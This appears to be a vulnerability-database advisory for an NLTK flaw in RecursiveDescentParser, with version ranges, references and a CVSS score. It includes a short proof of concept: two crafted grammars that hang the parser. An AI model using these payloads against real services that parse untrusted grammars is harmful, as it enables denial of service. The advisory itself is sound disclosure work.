PYSEC-2026-3869
Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:02
VLAI
Details
nltk.parse.RecursiveDescentParser (and SteppingRecursiveDescentParser) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.
Proof of concept
Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:
from nltk import CFG
from nltk.parse import RecursiveDescentParser
# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
Impact
An application that runs RecursiveDescentParser on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.
Sibling
The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.
Severity
Impacted products
| Name | purl | nltk | pkg:pypi/nltk |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nltk",
"purl": "pkg:pypi/nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.3"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.8",
"0.9",
"0.9.3",
"0.9.4",
"0.9.5",
"0.9.6",
"0.9.7",
"0.9.8",
"0.9.9",
"2.0.1",
"2.0.1rc1",
"2.0.1rc2-git",
"2.0.1rc3",
"2.0.1rc4",
"2.0.2",
"2.0.3",
"2.0.4",
"2.0.5",
"2.0b4",
"2.0b5",
"2.0b6",
"2.0b7",
"2.0b8",
"2.0b9",
"3.0.0",
"3.0.0b1",
"3.0.0b2",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.1",
"3.10.0",
"3.10.1",
"3.10.2",
"3.2",
"3.2.1",
"3.2.2",
"3.2.3",
"3.2.4",
"3.2.5",
"3.3",
"3.4",
"3.4.1",
"3.4.2",
"3.4.3",
"3.4.4",
"3.4.5",
"3.5",
"3.5b1",
"3.6",
"3.6.1",
"3.6.2",
"3.6.3",
"3.6.4",
"3.6.5",
"3.6.6",
"3.6.7",
"3.7",
"3.8",
"3.8.1",
"3.9",
"3.9.1",
"3.9.2",
"3.9.3",
"3.9.4",
"3.9b1"
]
}
],
"aliases": [
"CVE-2026-12876",
"GHSA-ff5c-cp5c-9wjf"
],
"details": "`nltk.parse.RecursiveDescentParser` (and `SteppingRecursiveDescentParser`) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely \u2014 a denial of service.\n\n## Proof of concept\n\nBoth of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:\n\n```python\nfrom nltk import CFG\nfrom nltk.parse import RecursiveDescentParser\n\n# (a) left recursion -\u003e unbounded recursion\ng = CFG.fromstring(\"S -\u003e S S | \u0027a\u0027\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24)) # hangs\n\n# (b) ambiguous grammar -\u003e exponential number of parses\ng = CFG.fromstring(\"S -\u003e \u0027a\u0027 S | \u0027a\u0027 S S | \u0027a\u0027\")\nlist(RecursiveDescentParser(g).parse([\"a\"] * 24)) # hangs\n```\n\n## Impact\n\nAn application that runs `RecursiveDescentParser` on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.\n\n## Sibling\n\nThe RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.",
"id": "PYSEC-2026-3869",
"modified": "2026-09-10T11:02:15.848558Z",
"published": "2026-09-10T09:44:59.291918Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-ff5c-cp5c-9wjf"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3649"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/43aaca1b9024138421c97f970bf13ee19ac8129d"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/nltk"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-ff5c-cp5c-9wjf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12876"
}
],
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…